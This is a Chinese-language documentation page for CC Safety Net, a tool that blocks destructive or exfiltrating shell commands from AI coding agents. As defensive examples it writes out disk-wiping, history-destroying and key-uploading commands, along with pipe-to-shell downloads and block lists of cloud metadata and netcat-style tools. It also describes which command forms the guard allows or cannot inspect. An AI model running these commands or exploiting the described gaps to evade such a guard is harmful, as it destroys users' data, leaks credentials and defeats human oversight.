跳转到主要内容
CC Safety Net 阻止可能永久破坏未提交更改、stash、远程历史或磁盘的命令,同一命令的安全写法则照常允许。每张表列出命令、它在各安全级别下的结果,以及阻止消息、审计日志和 explain --json 中显示的规则 ID。 cat .env 这类文件读取由机密保护负责。自定义规则用于添加你自己的阻止。 “结果”列的取值含义如下:

允许被阻止的命令

关闭阻止它的那条规则即可。除灾难性规则和固定拒绝 ID 外,所有规则都可以这样处理。
1

获取规则 ID

阻止消息里会打印规则 ID。也可以对这条命令本身运行 explain,读取 ruleId:
2

添加 off 覆盖

在 policy.json 的 destructive_command_protection.overrides 中加入该 ID,值设为 "off"。用户文件适用于所有项目,.cc-safety-net/policy.json 只适用于一个项目。把下面的内容合并到已有文件中:
3

确认更改

再次运行 explain,该命令会显示为允许,status 也会列出这条覆盖。
覆盖关闭的是整条规则,而不只是某一条命令。"on" 则会开启当前安全级别没有开启的规则,例如 standard 下的 rm.recursive-force-paranoid。字段语法见策略。 如果只想允许某个目录下的递归删除,而不关闭规则,请使用 allow_paths。要允许读取受保护的文件,见允许被阻止的文件。

规则不能设为询问

覆盖只接受 "on" 或 "off"。没有任何设置能让规则改为请求你批准,而不是直接阻止。唯一的例外是内置的:在 Claude Code 上、standard 级别下,有两种拒绝会变成权限提示。见 Claude Code 何时改为询问而不是阻止。

各安全级别增加的阻止

灾难性规则

共有十条灾难性规则,涵盖递归删除 / 或主目录、删除 Git 元数据,以及两类 CC Safety Net 无法安全读取目标的递归删除。各表中以“灾难性”标出。 灾难性规则在任何策略下、所有安全级别都会阻止。destructive_command_protection.enabled: false、"off" 覆盖、allow_paths、worktree 模式、临时仓库放宽,以及“仅 standard 允许”的各项放行,都不影响它。 即使原本会拦截该命令的规则已关闭,它仍会阻止,因此 parallel rm -rf ::: / 仍以 rm.recursive-force-root-or-home 阻止。 Git 元数据和 policy.json 防护也是如此。它们在读取配置之前运行,因此没有任何设置能关闭它们。

Git 命令

普通的 git rm 是允许的,因为 Git 自己会拒绝删除无法从 HEAD 恢复的更改。 只带一个操作数的 git checkout <operand>,如果操作数看起来像路径(.、./…、../…、绝对路径、末尾带斜杠或 glob),或指向已存在的文件或目录,就按路径恢复处理。main 这样的分支名仍然允许。分支与文件同名时,命令会被阻止,消息中会建议改用 git switch。 开启 worktree 模式后,在经过验证的 linked worktree 内,上表中丢弃本地更改的各行都会允许。

GIT_SSH_COMMAND 会被阻止吗?

只有命令自己设置它时才会,因为这些设置都能运行任意程序。git.ssh-env 阻止的是在命令行上设置了 GIT_SSH_COMMAND、GIT_SSH 或 GIT_SSH_VARIANT,或通过 git -c 或 GIT_CONFIG_* 设置了 core.sshCommand 的 Git 网络命令(clone、fetch、pull、push、ls-remote 或 submodule)。 要允许这类命令,可以在启动智能体之前就在 shell 配置文件中导出该变量,也可以按允许被阻止的命令所述,用 "git.ssh-env": "off" 关闭这条规则。

临时仓库中的 Git 命令

/tmp 等临时目录下的一次性仓库中,Git 丢弃类命令是允许的,前提是该仓库不是你的工作区,也不在工作区内。cd /tmp/scratch && git reset --hard 可以运行。git.push-*、git.ssh-env 和 git.alias-config 规则从不这样放宽,allow_paths 也不会扩大这项放宽的范围。 仓库有可能让 Git 指向仓库之外的文件时,常规规则照常生效,例如设置了 core.worktree,或 .git 中有 commondir 文件。

文件系统命令

每一行 rm -rf 同样涵盖 rm -r、rm -R 和 rm --recursive,规则 ID 相同。 CC Safety Net 先解析符号链接再比较路径,因此指向 / 的符号链接按 / 处理,/tmp-malicious 也不算临时路径。未加引号的 glob 会先展开,因此工作目录是主目录时,rm -rf * 以 rm.recursive-force-root-or-home 阻止。
在主目录之外,standard 允许 rm -rf "$target" 这类动态 rm -rf 目标。只有 strict 和 paranoid 会阻止它们。命令可能来自提示注入或其他不可信来源时,请使用这两个级别之一。

递归删除以哪个目录为比较基准

目标算在内还是在外,以会话工作区为基准判定。命令运行的目录只决定相对路径解析到哪里,不决定哪些路径算在外面。工具调用指定自己的工作目录也改变不了这一点,因此在工作目录为工作区父目录的调用中,rm -rf outside 以 rm.recursive-force-outside-cwd 阻止。 Git 上下文和机密路径仍在命令运行的目录中解析。只要工作区或该目录是主目录,主目录规则就会生效。关闭这条规则后,删除仍会按目标自身位置对应的规则阻止,例如 rm.recursive-force-outside-cwd。 与字面量路径不同,由变量或替换构成的目标只看命令运行的目录,因此被成功追踪的 cd 离开主目录后,standard 又会允许。

rsync --delete 会被检查吗?

会。带有 --delete、--delete-after 或 --del 等删除选项时,CC Safety Net 把第一个操作数之后的每个操作数都当作目标路径检查,结果见上表。 由变量构成的目标路径会被阻止,因为两个变量都为空时,rsync -a --delete "$SRC/" "$DST/" 实际运行的是 rsync -a --delete / /。目标路径为 .git/ 时属于灾难性情形,以 rm.git-metadata 阻止。

allow_paths 下的递归删除

rm、PowerShell Remove-Item 和 find -delete 规则在所有安全级别下,都把 destructive_command_protection.allow_paths 中列出的目录当作临时目录处理。允许路径从不涵盖根目录、主目录、Git 元数据或动态目标,也不会放宽机密保护和 Git 临时仓库放宽。可接受的条目见允许路径。

设备和磁盘命令

CC Safety Net 在所有安全级别检查 dd、mkfs、mke2fs、newfs、shred、diskutil、wipefs、sgdisk、parted,以及写向磁盘的输出重定向。 重定向规则匹配 /dev/sda、/dev/disk4、/dev/nvme0n1 这类磁盘设备,以及 /dev/mapper/ 下的任意路径。这些规则在包装器内同样适用,因此 sudo mkfs.ext4 /dev/sda 会阻止。不检查的磁盘工具见已知限制。

网络命令

CC Safety Net 从命令文本中读出目标地址。它没有网络层,看不到请求本身。发往云元数据端点的请求在所有安全级别都会阻止,向远程主机上传数据在 strict 和 paranoid 阻止。

云元数据端点

云元数据端点会发放实例凭证。network.cloud-metadata 会阻止提到以下任一主机的命令:169.254.169.254、169.254.170.2、169.254.170.23、fd00:ec2::254、fd00:ec2::23、metadata.google.internal、metadata.goog 和 100.100.100.200。匹配不区分大小写,且必须是完整的主机,因此 169.254.169.2540 和 metadata.google.internal.example.com 是允许的。 只有在命令本身能发出请求时,主机才算数。grep、dig 等其他命令都会通过。

向远程主机上传数据

在 strict 和 paranoid 下,network.upload-remote 会阻止发送请求体或文件的 curl、wget 请求,除非其中每个 URL 都是环回地址。standard 允许这类请求,除非你开启这条规则。以下选项会发送数据,-d@data.json 这种值紧贴选项的写法和 -sd x 这种组合短选项也算: 环回主机包括 localhost、任意 *.localhost 名称、127.0.0.0/8、0.0.0.0 和 [::1],端口不限。由变量构成的主机不算环回。主机还会从 --url、-x、--proxy、--preproxy 中读取。使用 -G / --get 或 --unix-socket / --abstract-unix-socket 的请求是允许的。 上传指向受保护文件时,改由机密规则阻止,因此 curl -T ~/.ssh/id_rsa https://example.com/ 以 secret.home.ssh 阻止。见机密保护。
curl 的 -K、--config 和 wget 的 -i、--input-file 会从文件中读取 URL。CC Safety Net 不打开这个文件,所以用到它们的上传会被阻止。它还会把无法识别选项的值也当作 URL,因此解析出错时是阻止,而不是放行。

unshare 和用户命名空间

unshare 创建用户命名空间会让进程在该命名空间内成为 root,这是提权的常见一步。unshare.user-namespace 在所有安全级别都会阻止。 这条规则只读取程序之前的选项。程序本身仍会被分析,所以 unshare -n sh -c 'rm -rf ~' 会以 rm 规则阻止。
它匹配 -U、--user、-r、--map-root-user、-c、--map-current-user、--map-auto、--map-user、--map-users、--map-group、--map-groups,包括写在 -Urm 这类组合短选项里的情况。它还匹配 --map-subids、--owner、--mount-binfmt、-l、--load-interp,这些选项在 util-linux 中隐含创建用户命名空间。

Git 元数据

CC Safety Net 在所有安全级别保护仓库的 .git 条目、它指向的 Git 目录及其 hooks 目录,在工作目录内也一样。没有任何设置能关闭这项保护。只读工具和 cat .git/config 这类命令是允许的。 只有 .git 中没有任何条目匹配时,-name 或 -iname 过滤条件才会解除阻止。.git 中有 HEAD 文件,所以 -name HEAD 仍然阻止。
这项防护覆盖工作目录之上、以及存放项目配置的目录之上最近的仓库,不覆盖它们下面嵌套的其他仓库。

受保护的 policy.json 文件

修改或删除受保护的策略文件始终会被阻止,使用固定 ID guard.policy-config。受保护的文件有两个:用户文件 ~/.cc-safety-net/policy.json(设置了 CC_SAFETY_NET_HOME 时为 $CC_SAFETY_NET_HOME/policy.json),以及项目文件 .cc-safety-net/policy.json。策略本身无法禁用这项检查。原因字符串固定为:
对这两个文件或其所在目录的写入、编辑、patch、重定向、mv 和递归删除都会被阻止。cat、grep、jq、less、ls、stat 这类只读命令可以通过。只有 policy.json 受这种保护,rule.json 和 rulebook 不受。

智能体运行 cc-safety-net policy apply

智能体不能运行 cc-safety-net policy apply,无论是通过 npx 还是其他运行器。CC Safety Net 以固定 ID guard.policy-apply 拒绝它,没有任何选项能解除。policy check 仍然允许。原因字符串固定为:

PowerShell 命令

Remove-Item 规则在 shell 模式为 powershell 或 auto 时生效。posix 模式下只应用 git.reset-hard 这类跨 shell 规则。别名和缩写参数同样算数,因此 ri . -r -fo 会阻止。 在 auto 模式下,读作 PowerShell 的命令还会按 POSIX shell 命令再检查一遍,任一种读法阻止,命令就阻止。因此 Get-Content x#; git reset --hard 以 git.reset-hard 阻止:PowerShell 把 # 读作注释,bash 却会运行其中的 git reset。 -WhatIf、-WhatIf:$true 和 -wi 会让任何 Remove-Item 变成演练,因此不会阻止。-WhatIf:$false 则重新阻止。PowerShell 通配符会匹配以点开头的条目,所以通配符可能触及 .git。

PowerShell 求值的远程内容

iex 和 Invoke-Expression 求值的文本来自下载时,在所有安全级别都会阻止,Windows 上常见的安装程序写法都属于这种情形。这条规则在 shell 模式为 powershell 和 auto 时生效;在 pwsh -c 或 powershell -Command 脚本内部,任何 shell 模式下都生效。 iex 求值的词里只要出现下载工具,或调用了 .DownloadString(、.DownloadData(,就会阻止,因此 iex (& irm …) 和 iex $wc.DownloadString(…) 也会阻止。同一管道中任何靠前一级的下载同样算数。加引号的字面量里出现的下载工具不算,因此 iex "Write-Host curl" 是允许的。 在 PowerShell 中,irm、iwr、Invoke-RestMethod 和 Invoke-WebRequest 都算下载,因此 irm … | python3 也会按 curl 会被检查吗?中的规则阻止。

Shell 包装器和解释器单行命令

CC Safety Net 会检查 bash -c、sh -c、sudo、env 等包装器内的命令,最多深入 10 层,嵌套更深的命令直接拒绝。你的自定义规则在任意深度同样生效。 bash -n 只检查语法,因此只带 -n 和 -c 的 shell 无论脚本写了什么都允许。可能改变哪个单词被当作脚本或撤销 -n 的选项(例如任何 + 选项),会以 analysis.dynamic-shell-source 阻止。 按这种方式检查的解释器有 python、python2、python3、node、ruby 和 perl。要阻止所有解释器单行命令(包括 python -c "print(1)"),请开启 paranoid 解释器检查。这类阻止使用 interpreter.one-liner-paranoid。

解释器自己执行的递归删除

解释器代码即使不含任何 shell 命令,也能通过解释器自身的标准库删除根目录或主目录。无论这类调用出现在内联代码、heredoc 还是从 stdin 读入的代码中,CC Safety Net 在所有级别都会阻止。 第一个参数是字面的根目录或主目录路径,或是以下表达式之一时,调用会被阻止:os.path.expanduser('~')、Path.home()、os.environ['HOME']、os.getenv('HOME')、$ENV{HOME}、os.homedir()、process.env.HOME、Dir.home、ENV['HOME']。 字面的 ~ 仍然允许,因为这些 API 都不会展开它。匹配基于代码文本,因此调用即使写在字符串里也会阻止。见解释器单行命令存在解析缺口。

命令提示符正文

CC Safety Net 在任何 shell 模式下都会读取 cmd /c 和 cmd /k 的正文。其中带 /s 的 rmdir、rd、del 和 erase 按删除规则检查,正文其余部分按普通命令检查,因此 cmd /c git reset --hard 以 git.reset-hard 阻止。 cmd 不把 \" 当作转义,所以带引号的目标可能被拆开,其中一段指向驱动器根目录。正文含有 \" 的递归删除属于灾难性,阻止消息会建议把每个路径分别加引号,或改用 Remove-Item -LiteralPath。 递归删除如果同时用到 ^、%、!、cd,或带引号的 &、|,会被当作无法验证的执行来源拒绝。 读取器按文本匹配,因此 cmd /c 'echo rmdir /s /q C:\' 虽然什么都不删除,也会阻止。读取器不覆盖的情况见已知限制。

嵌套的 PowerShell 脚本

当 powershell -Command '…' 或 pwsh -c '…' 中的脚本是字面文本,且 -Command 之前只出现 -NoProfile、-NonInteractive、-NoLogo 或 -ExecutionPolicy 时,CC Safety Net 在任何 shell 模式下都按 PowerShell 读取该脚本。其他形式只要写出了递归删除,就按灾难性阻止。

生成命令的 eval 与 source

eval "$(CMD)"、source <(CMD) 和 . <(CMD) 会运行 CMD 打印出的任何内容。CC Safety Net 检查的是 CMD 本身,因此 eval "$(rm -rf /)" 会因其中的 rm 阻止,但它无法检查 CMD 打印的内容。 standard 只允许由字面量单词组成的单条简单命令,且该命令不能是下载工具、shell 或 sudo 这类包装器。standard 会信任这条命令的输出。

curl 会被检查吗?

会,前提是它可能执行或泄露某些内容。curl -o out.zip https://example.com/a.zip 这样的普通下载是允许的,因为 CC Safety Net 没有网络层。 运行下载内容的命令在所有级别都会阻止,原因为 shell execution source cannot be verified safely.。程序无论先经过 shell、解释器还是磁盘,结果都一样。 在无法解析的文本或 heredoc 正文中,同样的写法以 raw-text.dangerous-command 阻止。PowerShell 自有的写法见 PowerShell 求值的远程内容。 发往云元数据端点的请求也会被阻止,向非环回主机的上传则由 strict 阻止,见网络命令。

仍然允许的下载

受检查的解释器有 python、python2、python3、node、ruby 和 perl。它们不把下载内容当作程序运行时,命令是允许的。
同一管道中任何靠前的一级都算,因此 curl … | gunzip | python3 - 会阻止;通过 timeout、nice、exec、stdbuf 这类 exec 包装器运行的下载工具也一样。下载工具有 curl、wget、fetch、aria2c、http、https、xh、xhs、nc、ncat 和 netcat。只有重定向指向字面量文件、here-string 或加引号的 heredoc 时,才会取代下载成为解释器的输入。curl … | python3 <&0 和 curl … | python3 - < /dev/stdin 仍然读取下载内容,因此会阻止。文件落到磁盘时,CC Safety Net 会记录 curl -o 和 --output、wget -O 和 --output-document 以及 > 重定向写入的路径。之后再有 > 写同一路径,就会取代这次下载,因此 curl … -o i.sh && echo 'echo hi' > i.sh && bash i.sh 是允许的。这些记录不会延续到下一次工具调用。语法检查选项只有出现在脚本操作数之前才算,因此 curl … -o check.js && node check.js --check 会阻止。perl -c 也不例外,因为 perl 在解析过程中就会执行 BEGIN 块。

Heredoc

如果 heredoc 的消费者只是存储或发布正文,正文就是数据,CC Safety Net 在任何级别都不会把它当作命令检查。消费者必须是字面量 cat、tee、git apply、git commit、gh pr create 或 gh issue create,且 heredoc 必须是它唯一的输入重定向。 在 standard 下,其他 heredoc 的正文会作为文本扫描破坏性模式。分隔符带引号,或正文中没有 $、反引号和反斜杠时,正文不展开。 shell 把不展开的 heredoc 读作自己的程序时(例如 bash <<'EOF'),standard 会把正文中的每条命令都当作顶层命令分析,正文里的 git reset --hard 会按它自己的规则阻止。
heredoc 必须是标准输入上最后一个输入重定向。命令分析没有命中时,文本扫描仍会运行,因此 rm -rf "$1" 这样的正文会以 raw-text.dangerous-command 阻止。
在 strict 和 paranoid 下,只有命令在标准输入上只有一个 heredoc、消费者是上面列出的之一、且正文不展开时,heredoc 才允许。分隔符不带引号且正文含有 $、反引号或反斜杠时,拒绝消息为:
其他所有不受支持的形式或消费者,拒绝消息为:

从文件运行的脚本

在所有安全级别,CC Safety Net 都会读取命令所运行的 shell 脚本(例如 sh x.sh、bash x.sh、source x.sh、. x.sh 或 ./x.sh),并检查其中的内容。脚本可以是磁盘上的文件,也可以由同一条命令中的 heredoc 写出,例如 cat > x.sh <<'EOF' … EOF && bash x.sh。 阻止时会指明文件和行号(从 1 开始)。原因以 deploy.sh:3: 开头,后面接规则自身的文本。脚本里再运行另一个脚本时,指明的是最内层的文件和行号。explain 会增加一个 script-file 步骤,带上路径和文件的字节数,但不含脚本文本。 ./x.sh 只有在没有 shebang 行,或使用 #!/bin/sh 这类 shell shebang 时才会读取。sh x.sh 和 source x.sh 不看 shebang。解释器文件从不读取,所以无论文件里做了什么,python3 tool.py 都会被允许。 只有脚本内部命中具体规则才会阻止命令。如果分析停在无法验证的行上(例如 eval "$(…)"),外层命令的决策不变。
在 standard 下,CC Safety Net 还会跟踪由字面量赋值构成的脚本路径,例如 S=/tmp/run; … bash $S/x.sh。值的开头可以是 ~、$HOME 或 $PWD,在 macOS 上还可以使用 $(getconf DARWIN_USER_TEMP_DIR)。

什么情况下不读取脚本

以下情况下 CC Safety Net 不读取该文件,外层命令的决策不变:
  • 路径不是普通文件、大于 256 KB、含有 NUL 字节,或位于 /dev、/proc、/sys 之下。
  • 同一命令中前面的部分可能写过这个路径,或写过它上层的某个目录。
  • 该命令已经读满 64 个脚本,嵌套读取也计入。
CC Safety Net 追踪输出重定向,以及 cp、mv、install、ln、sed -i、curl、wget、tee 的操作数。对 sed -i、curl、wget 和 tee,每个操作数都算。对 cp、mv、install 和 ln,只有目标算:有 -t 或 --target-directory 时就是它的值,否则是第一个操作数之后的每个操作数。因此 cp scripts/deploy.sh /tmp/backup.sh && sh scripts/deploy.sh 仍会读取 scripts/deploy.sh。
使用 Windows(CRLF)换行的文件,与同样内容用 LF 换行时得到相同的决策。这一机制覆盖不到哪些情况,见脚本文件只做尽力读取。

无法解析的命令文本

shell 解析器无法读取命令时(例如引号未闭合),结果取决于安全级别。 在 standard 下,CC Safety Net 会在无法解析的文本中扫描 rm -rf、git reset --hard、dd of=/dev/、经管道交给 shell 的下载等破坏性模式,命中即以 raw-text.dangerous-command 阻止。${ list; } 函数替换等部分语法在所有级别都会阻止,即使命令本身无害。

回车符和 Unicode 空格

命令中任何位置含有回车符、垂直制表符或换页符时,在所有级别都以 analysis.strict-unparseable 阻止,因为 Bash 和 zsh 会把这些字符保留在单词内部。Windows 换行符(CRLF)同样算在内,请用 LF 换行符发送命令。 Unicode 空格(例如不换行空格或字节顺序标记)位于单词之间时,同样会被阻止。在引号内或 heredoc 正文中,它只是普通文本,因此带全角空格的 git commit -m '修正 テスト' 是允许的。 要查看某条命令被阻止或允许的具体原因,请运行 explain。

固定拒绝 ID

有些拒绝不来自规则,而是来自命令分析之前运行的防护、分析上限与失败,或不可用的工作目录。它们带有固定 ID,凡是显示规则 ID 的地方都会显示,包括 checkCommand 所返回拒绝的 ruleId。 这些 ID 不是已注册的规则,因此不能写进 destructive_command_protection.overrides。policy check 会以 unknown destructive command rule id "<id>" 拒绝其中每一个。
最后修改于 2026年11月4日